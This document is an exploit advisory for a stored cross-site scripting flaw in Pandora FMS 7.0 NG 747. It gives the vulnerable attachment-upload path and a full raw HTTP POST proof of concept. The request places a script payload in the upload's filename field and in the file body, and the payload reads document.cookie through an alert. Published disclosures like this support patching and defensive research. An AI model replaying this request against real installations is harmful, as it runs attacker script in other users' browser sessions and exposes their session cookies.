PandoraFMS NG747 7.0 - 'filename' Persistent Cross-Site Scripting

# Exploit Title: PandoraFMS NG747 7.0 - 'filename' Persistent Cross-Site Scripting
# Date: 2020-08-20
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://pandorafms.org/
# Software Link: https://pandorafms.org/features/free-download-monitoring-software/
# Version: 7.0NG747
# Tested on: Windows/Linux/ISO

# Link https://github.com/EmreOvunc/Pandora-FMS-7.0-NG-747-Stored-XSS

# Description
A stored cross-site scripting (XSS) in Pandora FMS 7.0 NG 747 can result in
an attacker performing malicious actions to users who open a maliciously
crafted link or third-party web page. (Workspace >> Issues >> List of
issues >> Add - Attachment)

# PoC

To exploit vulnerability, someone could use a POST request to
'/pandora_console/index.php' by manipulating 'filename' parameter in the
request body to impact users who open a maliciously crafted link or
third-party web page.

POST /pandora_console/index.php?sec=workspace&sec2=operation/incidents/incident_detail&id=3&upload_file=1
HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0)
Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------188134206132629608391758747427
Content-Length: 524
DNT: 1
Connection: close
Cookie: PHPSESSID=3098fl65su4l237navvq6d5igs
Upgrade-Insecure-Requests: 1

-----------------------------188134206132629608391758747427
Content-Disposition: form-data; name="userfile"; filename="\"><svg
onload=alert(document.cookie)>.png"
Content-Type: image/png

"><svg onload=alert(1)>
-----------------------------188134206132629608391758747427
Content-Disposition: form-data; name="file_description"

desc
-----------------------------188134206132629608391758747427
Content-Disposition: form-data; name="upload"

Upload
-----------------------------188134206132629608391758747427--